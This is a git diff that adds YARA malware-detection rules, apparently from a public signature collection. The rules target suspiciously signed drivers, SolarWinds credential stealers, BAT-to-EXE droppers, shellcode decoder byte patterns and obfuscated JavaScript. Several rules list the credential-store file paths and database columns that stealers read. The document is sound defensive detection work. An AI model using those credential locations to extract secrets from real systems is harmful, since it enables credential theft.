+        $varInitializeAndXorCondition2_XorEDX = { D9 74 24 F4 [0-30] BA ?? ?? ?? ?? [0-10] ( 58 | 59 | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 50 | 51 | 52 | 53 | 55 | 56 | 57 ) ?? }
+    condition:
+        any of them
+}
diff --git a/yara-Neo23x0/gen_sign_anomalies.yar b/yara-Neo23x0/gen_sign_anomalies.yar
new file mode 100644
index 0000000..d3da946
--- /dev/null
+++ b/yara-Neo23x0/gen_sign_anomalies.yar
@@ -0,0 +1,214 @@
+
+import "pe"
+
+rule SUSP_Unsigned_OSPPSVC {
+   meta:
+      description = "Detects a suspicious unsigned office software protection platform service binary"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.welivesecurity.com/2019/09/24/no-summer-vacations-zebrocy/"
+      date = "2019-09-26"
+      hash1 = "5294a730f1f0a176583b9ca2b988b3f5ec65dad8c6ebe556b5135566f2c16a56"
+      id = "0e312237-0c82-59da-b62d-56065c6075f0"
+   strings:
+      /* FileDescription Microsoft Office Software Protection Platform Service */
+      $sc1 = { 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63
+               00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00
+               00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F
+               00 66 00 74 00 20 00 4F 00 66 00 66 00 69 00 63
+               00 65 00 20 00 53 00 6F 00 66 00 74 00 77 00 61
+               00 72 00 65 00 20 00 50 00 72 00 6F 00 74 00 65
+               00 63 00 74 00 69 00 6F 00 6E 00 20 00 50 00 6C
+               00 61 00 74 00 66 00 6F 00 72 00 6D 00 20 00 53
+               00 65 00 72 00 76 00 69 00 63 00 65 }
+   condition:
+      uint16(0) == 0x5a4d and filesize < 8000KB and $sc1 and pe.number_of_signatures < 1
+}
+
+
+rule SUSP_PE_Signed_by_Suspicious_Entitiy_Mar23
+{
+    meta:
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date_created = "2023-03-06"
+        description = "Find driver signed by suspicious company (see references)"
+        score = 60
+        license = "Detection Rule License 1.1 https://github.com/SigmaHQ/Detection-Rule-License"
+        reference = "https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware"
+        reference = "https://news.sophos.com/en-us/2022/12/13/signed-driver-malware-moves-up-the-software-trust-chain/"
+        reference = "https://www.sentinelone.com/labs/driving-through-defenses-targeted-attacks-leverage-signed-malicious-microsoft-drivers/"
+        hash = "2fb7a38e69a88e3da8fece4c6a1a81842c1be6ae9d6ac299afa4aef4eb55fd4b"
+        hash = "9a24befcc0c0926abb49d43174fe25c2469cca06d6ab3b5000d7c9d434c42fe9"
+        hash = "9ad716f0173489e74fefe086000dfbea9dc093b1c3460bed9cdb82f923073806"
+        hash = "a007c8c6c1aecfff1065429fef691e7ae1c0ce20012a113f01ac57c61564a627"
+        hash = "fbe82a21939d04735aa3bbf23fbabd45ac491a143396e8e62ee20509c1257918"
+        hash = "d12c6ea0a86c58ea2d80d1dc9b793ba28a0db92c72bb5b6f4ee2b800fe42091b"
+        hash = "4cf31d000f1542690cbc0ace41e4166651a71747978dc408e3cce32e82713917"
+        hash = "e1adaea335b20d4d2e351f7bea496cd40cb379376900434866db342f851d9ddf"
+        hash = "031408cf2f2c282bcc05066356fcc2bb862b7e3c504ab7ffb0220bea341404a5"
+        hash = "2f13d4e1bd35f6c0ad0978af19006c17193cf3d42b71cba763cca68f7e9d7fca"
+        hash = "cb40a5dc4f6a27b1dc50176770026b827f8baa05fa95a98a4e880652f6729d96"
+        hash = "a7591b7384bd10eb934f0dac8dcbfdff8c352eba2309f4d75553567fa2376efa"
+        hash = "d517ce5f132b3274f0b9783a5b0c37d1d648e6079874960af24ca764b011c042"
+        hash = "aeec903013d5b66f0ae1c6fa50bb892759149c1cec86db8089a4e60482e02250"
+        hash = "0d22828724cb7fbc6cef7f98665d020867d2eb801cff2c21f2e97e481040499b"
+        hash = "4b2e874d51d332fd840dadd463a393f9f019de46e49de73be910b9b1365e4e4e"
+        hash = "3839c0925acf836238ba9a0c5798b84b1c089a8353cc27ae7e6b75d273b539e3"
+        hash = "c470f519fb0d4a2862035e0d9e105a0a6918adc51842b12ad14b5b5f34879963"
+        hash = "cc6d174bc86f84f5a4c516e9c04947e2fecc0509a84748ea80576aeee5950aed"
+        hash = "6fe8df70254f9b5f53452815f0163cb2ffb2d7f0f5aefbb9b149ad1be9284e31"
+        hash = "4cde473fb68fa9b2709ea8a23349cd2fce8b8b3991b9fea12f95d12292b8aa7a"
+        hash = "e2c40c8dd60bb395807c39c76bfdf5cd158ebefd2a47ad3306a96662c50057c0"
+        hash = "9c12b09b529fa517eaeb49df22527d7563b5432d62776166048d97f83b2dce5c"
+        hash = "5a4e17287f3dceb5bf1ed411e5fdd7e8692aebf2a19b334327733fc1c158b0ba"
+        hash = "c42964aa7fa354b1a285bdbcbd9e84b6bdd8813ff9361955e0e455d032803cce"
+        hash = "ffd6955bf40957a35901d82fd5b96d0cb191b651d3eca7afa779eebfed0d9f7e"
+        hash = "f6874335eb0d611d47b2ec99a6b70f7b373a50d8d1f62d290b06174f42279f36"
+        hash = "4e6d7fd70a143f19429fead2c14779aea9d9140e270bb9e91e47fa601643e40e"
+        hash = "7b0e4aae37660b1099de69f4c14f5d976f260c64a4af8495ff1415512a6268ba"
+        hash = "db45cbfb094f3e1ebf1cb3880087a24d4e771cc43ba48ad373e6283cbe7391da"
+        hash = "813edc804f59a97ec9391ea0db4b779443bd8daf1e64c622b5e3c9a22ee9c2e0"
+        hash = "8d66a4b7c2ae468390d32e5e70b3f9b7cb796b54b7c404cde038de9786be8d1d"
+        hash = "85936141f0f32cf8f3173655e7200236d1fce6ef9c2616fd2b19ae7951c644c5"
+        hash = "b5fc0cc9980fc594a18682d2b0d5b0d0f19ba7a35d35106693a78f4aaba346ac"
+        hash = "7aae36c5ffa8baaab19724dae051673ddafd36107cb61c505926bfceaadcd516"
+        hash = "5d0228a0d321e2ddac5502da04ca7a2b2744f3dc1382daa5f02faa9da5aface1"
+        hash = "2af1ac8bc8ae8d7cad703d2695f2f6c6d79b82eebba01253a8ec527e11e83fcd"
+        hash = "c8f9e1ad7b8cce62fba349a00bc168c849d42cfb2ca5b2c6cc4b51d054e0c497"
+        hash = "0e339c9c8a6702b32ee9f2915512cbeb3391ced74b16c7e0aed9b1a80c9e58c8"
+        hash = "80bdeaa4f162c65722b700e4ffba31701d0d634f5533e59bf3885dc67ee92f3f"
+        hash = "4570f64f2000bdaf53aec0fc2214c8bd54e0f5cb75987cdf1f8bda6ea5fc4c43"
+        hash = "a9c906bde6c8a693d5d46c9922dafa2dfd2dec0fff554f3f6a953c2e36d3f7b7"
+        hash = "520df3ddd7c9ecdeecac8e443d75ac258c26b45d37ecec22501afdda797f6a0a"
+        hash = "4d3e0f27a7bcfd4b442b489c63641af22285ca41c6d56ac1db734196ab10b315"
+        hash = "5000b3b1d593ba40cc10098644af1551259590ac67d3726fab2be87aad460877"
+        hash = "7c27bd6104fc67dd16e655f3bf67c2abd8b5bf2a693ba714ac86904c5765b316"
+        hash = "34b1234eab7ff10edde9e09ecf73c5e4bfe9ee047ccfdb43de1e1f6155afad0c"
+        hash = "f6fe2cc9ea31f85273c26e84422137df21cfce4b9e972b0db94fe3a67b54f6ca"
+        hash = "ec4d0828196926bd36325f4b021895d37cfaaa024f754b36618c78b2574f0122"
+        hash = "2a89f263d85da8fb0c934d287b5b524744479741491c740aaa46ac9f694f6d1b"
+        hash = "c8d0122974fc10a7d82c62f3e6573a94379c026dd741fd73497afdf36d3929be"
+        hash = "0345f71876bc4c888deadba7284565a8da112901f343e54b8522279968abd1b2"
+        hash = "6c0e10650be9e795dc6adfbe8aad8c1c3a8657e4c45cb82a7d5188ee24021ca0"
+        hash = "90b8d9c4ff3e4e0a0342e0d91da3a25be2fead29f3b32888bb35f8575845259d"
+        hash = "0310400c9e62c3fe08dc6506313e26f7c5c89035c81b0141ce57543910c1c42e"
+        hash = "b0da0316443f878aad0b3d9764b631d5df60e119ab59324c37640da1b431893a"
+        hash = "cc4bd06f27a5f266bc8825a08e5f45dcaa4352eb6d69214b5037d28cc8de6908"
+        hash = "2d4b7c6931203923db9a07e1ac92124e799f3747ab20e95e191e99c7b98f3fbd"
+        hash = "b5965de0d883fd0602037f3dc26fd4461e6328612f1a34798cff0066142e13c4"
+        hash = "86ce17183ddf32379db53ecaedefe0811252165b05cd326025bb8eca2e6a25d7"
+        hash = "6edca16d5aa751aa4c212e6477121d51e4d9b9432896d25b41938a27a554bbe7"
+        hash = "cdd8966e0cf08a6578e34de7498a44413a6adabae04d81ef3129f26305966db2"
+        hash = "df890974589ed2435f53b8c8f147a06752f1b37404afd4431362c1938fcb451e"
+        hash = "3e05d8abaaa95af359e5b09efb30546d0aa693859ebc8a0970a2641556ea644c"
+        hash = "1c8ddf4b9c99c8f1945abf1527c7fa93141430680ac156a405d9a927d32f3b5e"
+        hash = "5d2ed5930ab1a650f9fb9293f49a9f35737139fdfa9f14e46a07e5d4d721ae3e"
+        hash = "18834de3e4844a418970c2184cc78c2d7cb61d18e9f7c7c0e88e994b4212edc5"
+        hash = "a6b6fc94d8e582059af0fe30c2c93c687fccd5a0073a6a26a2cd097ea96adc7c"
+        hash = "28b40fa160c915f13f046d36725c055d6c827a4d28674ea33c75a9b410321290"
+        hash = "efab0fbf77dc67a792efd1fe2b3f46bbdfdee30a9321acc189c53a6c5e90f05c"
+        hash = "348781221d1a2886923de089d1b7b12c32cfdd38628b71203da925b5736561e9"
+        hash = "a1a5f410e6eab2445d64bfcd742fe1a802a0a2d9af45c7ab398f84894dd5dc3d"
+        hash = "9de05ce0d9e9de05ebdc2859a5156f044f98bb180723f427a779d36b1913e5d3"
+        hash = "eeff7e85c50a7f11fc8a99f7048953719fb1d2a6451161a0796eac43119ece21"
+        hash = "383cc025800a3b3d089f7697e78fe4d5695a8d1ee26dcad0b0956ad6800ccae4"
+        hash = "41be6f393cea4d8d5869fff526c4d75ec66c855f7e9c176042c39b9682ea9c14"
+        hash = "71552e65433c8bbf14e5bcbc35a708bc10d6fded740c5f4783edce84aea4aabf"
+        hash = "3c1b3e8666b58a78c70f36ed557c7ecc52e84457e87e5884b42e5cd9e8c1a303"
+        hash = "4288d7113031151a2636a164c0dc6fce78c86f322271afec9ef2d4b54494c334"
+        hash = "f73a39332be393a9bc23ec27ff6d025bc90d7320dde97f37cc585ecf6c0436a2"
+        hash = "018f5103635992aa9ddc1c46cafe2b7ba659fcfbc8f8ab29dcea28e155b033ee"
+        hash = "fe650fc138dcfbbd4ab6aa5718bf3cd36f50898ae19d3aceaa12f7d4f39d0b43"
+        hash = "fa21b39cd5a24ba35433e90cae486454b7400b50e7f7f5c190fdbec6704b4352"
+        hash = "3dd36c798cc89bfad7cdbf58d7da90ba113fe043ca46bdbcab7ae7fb9dc2f42b"
+        hash = "674f4444f0de5c81c766c376a65fbdf1f7116228a61c71ffb504995c9e160183"
+        hash = "cd3d25b2842bb2d6a5580f72e819acd344ce7f3a2478fb6d53ff668ad6531228"
+        hash = "1668f4eb8a85914db46ff308b9f8a5040a024acc93259dfc004ea2b80ab6bcf1"
+        hash = "4f31cab6c011b79bf862bb6acea3086308b0576afe33affdb09039c97e723beb"
+        hash = "6b0ff48b8113076d2875edb7bea7f120b7b9d9a990ae296a5b5a95660ae7edfc"
+        hash = "956a00dd6382e83d3f7490378ae98e4fc8d9b8ec2cd549519f007091e3ccce1f"
+        hash = "8c7f938cf55728d8d41a7fa6b9953c4f81cf05ed3d7b7435ec8999e130257f7f"
+        hash = "427ee4d4d18fc0c1196326215e94947f7d8c03794de36d0127231690bf5bf3c0"
+        hash = "b6f3ece5bf7b9f6ecf99104d3c76b9007106fad98d20500956dd1e42d4ec5e8d"
+        hash = "47a0ad6150c5a1de4c788827662a9cafbd2816a7d32be2028721e49a464acbed"
+        hash = "8743ac81384fd10c0459f3574489d626e13c95dd73274dcf1d872bcd3630b9e8"
+        hash = "a1755415a12f85bea3f65807860f902cf41e56b0ab2c155ac742af3166ef1dfd"
+        hash = "3f5a91500bfade2d9708e1fbe76ae81dacdb7b0f65f335fee598546ccfc267e3"
+        hash = "5be43b773dbde6542d6a0d53cd6616ea95a49dd38659edc6ba0d580a0d9777ab"
+        hash = "90e080a63916c768b0b65787fe5695fd903d44e1b0b688d06c14988ba30b5ea7"
+        hash = "d1184ee3f26919b8f5a4b1a6d089f14e79e0c89260590156111f72a979c8e446"
+        hash = "c13ddd2bafcfdfc00fb5cb87d8eb533ae094b0dd5784df77c98bddeac9d72725"
+        hash = "9bb3035610bd09ba769c0335f23f98dd85c2f32351cdd907d4761b41ab5d099c"
+        hash = "1703025c4aed71d0ca29a3cd0e15047c24cc9adbb5239765f63e205ef7d65753"
+        hash = "948d47b9386b2b3247b7e9796ab2f2078889264559ad04ccd9362b03dbbf8534"
+        hash = "edd527d978b591d146d24d075bb4c24177e0eca6a27b5d92f35be68635cc3767"
+        hash = "c642dc125fbd83e004d2c527933996589e0fcad06313a5a56679a265b8966529"
+        hash = "cfa3a48bf0c683834d1d198a653ebced8a8faae9d0cbb38f3e859b45da81d554"
+        hash = "bb8f5d123aebdde5542724db5be8430d62a80f86f590a272aac9087d097f395c"
+        hash = "e41e10673db41b13ba17c828beb94fc39e8d3aa43b01f9fe437a2f6e0b8ae443"
+        hash = "a132e31db9f9761d6bd2c375415e615bb0a548fb02c4fd6373e9f7d1568de1dc"
+        hash = "5084c6e20b88adeea6a28508cf172048d7cf20adeaa52abdd361fc2207411055"
+        hash = "525320e3631a23a3286481710533ba15cd6268ee10be98962a55e2afead1ffbf"
+        hash = "16c74f288f4f929e74cd8e16443303aec3a64cfef64aabc14553f4c1e58c9ede"
+        hash = "4b482ebf88bcb55e7b0769690ccca4d08856c879af82ad7165436b82a315d742"
+        hash = "79c9acadd99ab1251dbba3bff7d0b67de4252f913f485465d63f4f0c4d9a6419"
+        hash = "9bcc3f36c32e3efbf8bdcba7670658042db65dd617dad0709d92c554ba841b57"
+        hash = "5654ed1205de6860e66383a27231e4ac2bb7639b07504121d313a8503ece3305"
+        hash = "5d1e3c495d08982459b4bd4fd2ab073ed2078fce9347627718a7c25adee152e9"
+        hash = "458702ae1b2ef8a113344be76af185ee137b7aac3646ece626d2eeeadcc9e003"
+        hash = "2c703e562a6266175379fa48f06f58aab109dbe56e0cde24b4b0db5f22f810a3"
+        hash = "49faf70c0978c21a68bc8395cf326f50c491e379f55b5df7d17f0af953861ece"
+        hash = "a2b16bbef0a7cb545597828466cd13225efaba6e7006bfbf59040bbff54c463c"
+        hash = "b08449d42f140c7e4d070c5f81ce7509f48282a5bb0e06948b7ed65053696a37"
+        hash = "c1633ad8c9e6c2b4cc23578655fc6cf5cd0122cfd24395d1551af1d092f89db2"
+        hash = "01f42f949a37d9d479b8021f27dcf0d0e6f0b0b6cd2e0883c6b4b494f0a1d32a"
+        hash = "4943d53a38ac123ed7c04ad44742a67ea06bb54ea02fa241d9c4ebadab4cb99a"
+        hash = "597ce12c9fbecc71299ba6fc3e4df36cc49222878d0e080c4c35bbfdffd30083"
+        hash = "0265fbd9cfc27c26c42374fce7cf0ef11f38e086308d51648b45f040d767c51d"
+        hash = "0dc92a1a6fd27144b3e35a9900038653892d25c2db8ede8b9e0aee04839f165a"
+        hash = "682582c324cb1eafacf80090f6108c1580fee12dbfdfe8b51771d429fdcce718"
+        hash = "e9e6f6e22b5924f80164fbad45be28299e9ec0bd2f404551b6ca772509a7135a"
+        hash = "a8db750f82906fb9cf9fb371ec65be76275d9b81b95e351fcb3db4ef345884ab"
+        hash = "e900b4016177259d07011139a55c0571c1e824fb7e9dddc11df493b3c8209173"
+        hash = "f8a7a26d51a5e938325deee86cbf5aa8263d3a50818c15d5a395b98658630c18"
+        hash = "861b87fc6c4758cfe1e26c7a038cffb64054ad633b7ea81319c9a98b7b49df0d"
+        hash = "848fdb491307ed7b002dbdf99796df2b286d53b2e0066d78f3554f2f38a2c438"
+        hash = "4b0c05bc33c9e7d0ed2d97dbefb6292469b9d74d650d5cfb2691345a11c0f54a"
+        hash = "948d47b9386b2b3247b7e9796ab2f2078889264559ad04ccd9362b03dbbf8534"
+        hash = "edd527d978b591d146d24d075bb4c24177e0eca6a27b5d92f35be68635cc3767"
+        hash = "c642dc125fbd83e004d2c527933996589e0fcad06313a5a56679a265b8966529"
+        hash = "cfa3a48bf0c683834d1d198a653ebced8a8faae9d0cbb38f3e859b45da81d554"
+        hash = "bb8f5d123aebdde5542724db5be8430d62a80f86f590a272aac9087d097f395c"
+        hash = "e41e10673db41b13ba17c828beb94fc39e8d3aa43b01f9fe437a2f6e0b8ae443"
+        hash = "a132e31db9f9761d6bd2c375415e615bb0a548fb02c4fd6373e9f7d1568de1dc"
+        hash = "5084c6e20b88adeea6a28508cf172048d7cf20adeaa52abdd361fc2207411055"
+        hash = "525320e3631a23a3286481710533ba15cd6268ee10be98962a55e2afead1ffbf"
+        hash = "16c74f288f4f929e74cd8e16443303aec3a64cfef64aabc14553f4c1e58c9ede"
+        hash = "4b482ebf88bcb55e7b0769690ccca4d08856c879af82ad7165436b82a315d742"
+        hash = "79c9acadd99ab1251dbba3bff7d0b67de4252f913f485465d63f4f0c4d9a6419"
+        hash = "9bcc3f36c32e3efbf8bdcba7670658042db65dd617dad0709d92c554ba841b57"
+
+        id = "13151f9b-22cb-551f-81b4-a60a301f0bfc"
+    strings:
+        // works well enough with string search so no need to use the pe module
+        $cert1 = "91210242MA0YGH36" wide ascii ///serialNumber=91210242MA0YGH36XJ/jurisdictionC=CN/businessCategory=Private Organization/C=CN/ST=\xE8\xBE\xBD\xE5\xAE\x81\xE7\x9C\x81
+        $cert2 = "Copyright (C) 2013-2021 QuickZip. All rights reserved." wide ascii 
+        $cert3 = "Qi Lijun" wide ascii // short but no fp
+        $cert4 = {51 00 69 00 20 00 4c 00 69 00 6a 00 75 00 6e} // string above in hex(utf16-be minus first 00) because of https://github.com/VirusTotal/yara/issues/1891
+        $cert5 = "Luck Bigger Technology Co., Ltd" wide ascii
+        $cert6 = {4c 00 75 00 63 00 6b 00 20 00 42 00 69 00 67 00 67 00 65 00 72 00 20 00 54 00 65 00 63 00 68 00 6e 00 6f 00 6c 00 6f 00 67 00 79 00 20 00 43 00 6f 00 2e 00 2c 00 20 00 4c 00 74 00 64 } // above in hex
+        $cert7 = "XinSing Network Service Co., Ltd" wide ascii
+        $cert8 = "Hangzhou Shunwang Technology Co.,Ltd" wide ascii
+        $cert9 = "Zhuhai liancheng Technology Co., Ltd." wide ascii
+        $cert10 = { e5 a4 a7 e8 bf 9e e7 ba b5 e6 a2 a6 e7 bd 91 e7 bb 9c e7 a7 91 e6 8a 80 e6 9c 89 e9 99 90 e5 85 ac e5 8f b8 }
+        $cert11 = { e5 8c 97 e4 ba ac e5 bc 98 e9 81 93 e9 95 bf e5 85 b4 e5 9b bd e9 99 85 e8 b4 b8 e6 98 93 e6 9c 89 e9 99 90 e5 85 ac e5 8f b8 }
+        $cert12 = { e7 a6 8f e5 bb ba e5 a5 a5 e5 88 9b e4 ba 92 e5 a8 b1 e7 a7 91 e6 8a 80 e6 9c 89 e9 99 90 e5 85 ac e5 8f b8 }
+        $cert13 = { e5 8e a6 e9 97 a8 e6 81 92 e4 bf a1 e5 8d 93 e8 b6 8a e7 bd 91 e7 bb 9c e7 a7 91 e6 8a 80 e6 9c 89 e9 99 90 e5 85 ac e5 8f b8 0a }
+        $cert14 = { e5 a4 a7 e8 bf 9e e7 ba b5 e6 a2 a6 e7 bd 91 e7 bb 9c e7 a7 91 e6 8a 80 e6 9c 89 e9 99 90 e5 85 ac e5 8f b8 }
+
+    condition:
+        uint16(0) == 0x5A4D and
+        uint32(uint32(0x3C)) == 0x00004550 and
+        filesize < 20MB and
+        any of ( $cert* )
+
+}
diff --git a/yara-Neo23x0/gen_solarwinds_credential_stealer.yar b/yara-Neo23x0/gen_solarwinds_credential_stealer.yar
new file mode 100644
index 0000000..b3194f8
--- /dev/null
+++ b/yara-Neo23x0/gen_solarwinds_credential_stealer.yar
@@ -0,0 +1,28 @@
+
+rule HKTL_Solarwinds_credential_stealer {
+    meta:
+        description = "Detects solarwinds credential stealers like e.g. solarflare via the touched certificate, files and database columns"
+        reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware"
+        reference = "https://github.com/mubix/solarflare"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-20"
+		hash = "1b2e5186464ed0bdd38fcd9f4ab294a7ba28bd829bf296584cbc32e2889037e4"
+		hash = "4adb69d4222c80d97f8d64e4d48b574908a518f8d504f24ce93a18b90bd506dc"
+        id = "87dba889-367a-5fc3-b5e0-eb8e3c36a5e9"
+    strings:
+        $certificate = "CN=SolarWinds-Orion" ascii nocase wide
+        $credfile1 = "\\CredentialStorage\\SolarWindsDatabaseAccessCredential" ascii nocase wide
+        $credfile2 = "\\KeyStorage\\CryptoHelper\\default.dat" ascii nocase wide
+        $credfile3 = "\\Orion\\SWNetPerfMon.DB" ascii nocase wide
+        $credfile4 = "\\Orion\\RabbitMQ\\.erlang.cookie" ascii nocase wide
+        $sql1 = "encryptedkey" ascii nocase wide fullword
+        $sql2 = "protectiontype" ascii nocase wide fullword
+        $sql3 = "CredentialProperty" ascii nocase wide fullword
+        $sql4 = "passwordhash" ascii nocase wide fullword
+        $sql5 = "credentialtype" ascii nocase wide fullword
+        $sql6 = "passwordsalt" ascii nocase wide fullword
+    condition:
+        uint16(0) == 0x5A4D and $certificate and ( 2 of ( $credfile* ) or 5 of ( $sql* ) )
+}
+
diff --git a/yara-Neo23x0/gen_susp_bat2exe.yar b/yara-Neo23x0/gen_susp_bat2exe.yar
new file mode 100644
index 0000000..8c31396
--- /dev/null
+++ b/yara-Neo23x0/gen_susp_bat2exe.yar
@@ -0,0 +1,24 @@
+/* previously: APT_DarkHydrus_Jul18_4 */
+rule SUSP_BAT2EXE_BDargo_Converted_BAT {
+   meta:
+      description = "Detects binaries created with BDARGO Advanced BAT to EXE converter"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.majorgeeks.com/files/details/advanced_bat_to_exe_converter.html"
+      date = "2018-07-28"
+      modified = "2022-06-23"
+      score = 45
+      hash1 = "d428d79f58425d831c2ee0a73f04749715e8c4dd30ccd81d92fe17485e6dfcda"
+      hash1 = "a547a02eb4fcb8f446da9b50838503de0d46f9bb2fd197c9ff63021243ea6d88"
+      id = "c9da4184-1530-5525-bdba-2dcc8a221bb1"
+   strings:
+      $s1 = "Error #bdembed1 -- Quiting" fullword ascii
+      $s2 = "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s" fullword ascii
+      $s3 = "\\a.txt" ascii
+      $s4 = "command.com" fullword ascii /* Goodware String - occured 91 times */
+      $s6 = "DFDHERGDCV" fullword ascii
+      $s7 = "DFDHERGGZV" fullword ascii
+      $s8 = "%s%s%s%s%s%s%s%s" fullword ascii /* Goodware String - occured 4 times */
+   condition:
+      uint16(0) == 0x5a4d and filesize < 300KB and 5 of them
+}
diff --git a/yara-Neo23x0/gen_susp_bat_aux.yar b/yara-Neo23x0/gen_susp_bat_aux.yar
new file mode 100644
index 0000000..292967f
--- /dev/null
+++ b/yara-Neo23x0/gen_susp_bat_aux.yar
@@ -0,0 +1,19 @@
+
+rule SUSP_BAT_Aux_Jan20_1 {
+   meta:
+      description = "Detects BAT file often dropped to cleanup temp dirs during infection"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@quoscient/the-chicken-keeps-laying-new-eggs-uncovering-new-gc-maas-tools-used-by-top-tier-threat-actors-531d80a6b4e9"
+      date = "2020-01-29"
+      score = 65
+      hash1 = "f5d558ec505b635b1e37557350562ad6f79b3da5cf2cf74db6e6e648b7a47127"
+      id = "c97f189e-a0c2-532e-b087-8669da72a2ad"
+   strings:
+      $s1 = "if exist \"C:\\Users\\" ascii
+      $s2 = "\\AppData\\Local\\Temp\\" ascii
+      $s3 = "del \"C:\\Users\\" ascii
+      $s4 = ".bat\"" ascii
+      $s5 = ".exe\" goto" ascii
+   condition:
+      uint8(0) == 0x3a and filesize <= 1KB and all of them
+}
diff --git a/yara-Neo23x0/gen_susp_cmd_var_expansion.yar b/yara-Neo23x0/gen_susp_cmd_var_expansion.yar
new file mode 100644
index 0000000..4b0ea7f
--- /dev/null
+++ b/yara-Neo23x0/gen_susp_cmd_var_expansion.yar
@@ -0,0 +1,14 @@
+
+rule SUSP_CMD_Var_Expansion {
+   meta:
+      description = "Detects Office droppers that include a variable expansion string"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/asfakian/status/1044859525675843585"
+      date = "2018-09-26"
+      score = 60
+      id = "3f3ebea0-1d33-513d-b32b-9d87607525e8"
+   strings:
+      $a1 = " /V:ON" ascii wide fullword
+   condition:
+      uint16(0) == 0xcfd0 and filesize < 500KB and $a1
+}
diff --git a/yara-Neo23x0/gen_susp_hacktool.yar b/yara-Neo23x0/gen_susp_hacktool.yar
new file mode 100644
index 0000000..d109b9c
--- /dev/null
+++ b/yara-Neo23x0/gen_susp_hacktool.yar
@@ -0,0 +1,35 @@
+
+rule HKTL_Keyword_InjectDLL {
+   meta:
+      description = "Detects suspicious InjectDLL keyword found in hacktools or possibly unwanted applications"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/zerosum0x0/koadic"
+      date = "2019-04-04"
+      score = 60
+      hash1 = "2e7b4141e1872857904a0ef2d87535fd913cbdd9f964421f521b5a228a492a29"
+      id = "422eed76-7dfa-5490-a866-d337434eaddc"
+   strings:
+      $s2 = "InjectDLL" fullword ascii
+      $s4 = "Kernel32.dll" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and all of them
+}
+
+rule HKTL_Python_sectools {
+    meta:
+        description = "Detects code which uses the python lib sectools"
+        author = "Arnim Rupp"
+        date = "2023-01-27"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        reference = "https://github.com/p0dalirius/sectools"
+        hash ="814ba1aa62bbb7aba886edae0f4ac5370818de15ca22a52a6ab667b4e93abf84"
+        hash ="b3328ac397d311e6eb79f0a5b9da155c4d1987e0d67487ea681ea59d93641d9e"
+        hash ="8cd205d5380278cff6673520439057e78fb8bf3d2b1c3c9be8463e949e5be4a1"
+        score=50
+        id = "89a5e0ba-5547-53e4-84a3-d07ee779596e"
+    strings:
+        $import1 = "from sectools" // might bei "from sectools.windows import ..." or "from sectools import ..."
+        $import2 = "import sectools"
+    condition:
+        any of ( $import* )
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/gen_susp_indicators.yar b/yara-Neo23x0/gen_susp_indicators.yar
new file mode 100644
index 0000000..df5cc70
--- /dev/null
+++ b/yara-Neo23x0/gen_susp_indicators.yar
@@ -0,0 +1,22 @@
+import "pe"
+
+rule SUSP_ENV_Folder_Root_File_Jan23_1 : SCRIPT {
+   meta:
+      description = "Detects suspicious file path pointing to the root of a folder easily accessible via environment variables"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2023-01-11"
+      score = 70
+      id = "6067d822-5c1b-5b86-863c-fdcfa37da665"
+   strings:
+      $xr1 = /%([Aa]pp[Dd]ata|APPDATA)%\\[A-Za-z0-9_\-]{1,20}\.[a-zA-Z0-9]{1,4}[^\\]/ wide ascii
+      $xr2 = /%([Pp]ublic|PUBLIC)%\\[A-Za-z0-9_\-]{1,20}\.[a-zA-Z0-9]{1,4}[^\\]/ wide ascii
+      $xr4 = /%([Pp]rogram[Dd]ata|PROGRAMDATA)%\\[A-Za-z0-9_\-]{1,20}\.[a-zA-Z0-9]{1,4}[^\\]/ wide ascii
+
+      $fp1 = "perl -MCPAN " ascii
+      $fp2 = "CCleaner" ascii
+   condition:
+      filesize < 20MB and 1 of ($x*)
+      and not 1 of ($fp*)
+      and not pe.number_of_signatures > 0
+}
diff --git a/yara-Neo23x0/gen_susp_js_obfuscatorio.yar b/yara-Neo23x0/gen_susp_js_obfuscatorio.yar
new file mode 100644
index 0000000..a02e7ad
--- /dev/null
+++ b/yara-Neo23x0/gen_susp_js_obfuscatorio.yar
@@ -0,0 +1,39 @@
+rule SUSP_obfuscated_JS_obfuscatorio : HIGHVOL 
+{
+	meta:
+	
+		author      = "@imp0rtp3"
+		description = "Detects JS obfuscation done by the js obfuscator (often malicious)"
+		reference   = "https://obfuscator.io"
+		date = "2021-08-25"
+      		score = 50
+		id = "d808f96c-21c9-59c7-b3c7-f118d39d564e"
+	strings:
+
+		// Beggining of the script
+		$a1 = "var a0_0x"
+		
+		// generic strings often used by the obfuscator
+		$c1 = "))),function(){try{var _0x"
+		$c2 = "=Function('return\\x20(function()\\x20'+'{}.constructor(\\x22return\\x20this\\x22)(\\x20)'+');');"
+		$c3 = "['atob']=function("
+		$c4 = ")['replace'](/=+$/,'');var"
+		$c5 = "return!![]"
+		$c6 = "'{}.constructor(\\x22return\\\x20this\\x22)(\\x20)'"
+		$c7 = "{}.constructor(\x22return\x20this\x22)(\x20)" base64
+		$c8 = "while(!![])"
+		$c9 = "while (!![])"
+
+		// Strong strings
+		$d1 = /(parseInt\(_0x([a-f0-9]{2}){2,4}\(0x[a-f0-9]{1,5}\)\)\/0x[a-f0-9]{1,2}\)?(\+|\*\()\-?){6}/
+				
+	condition:
+		$a1 at 0 or
+		(
+			filesize<1000000 and
+			(
+				3 of ($c*) or
+				$d1
+			)
+		)
+}
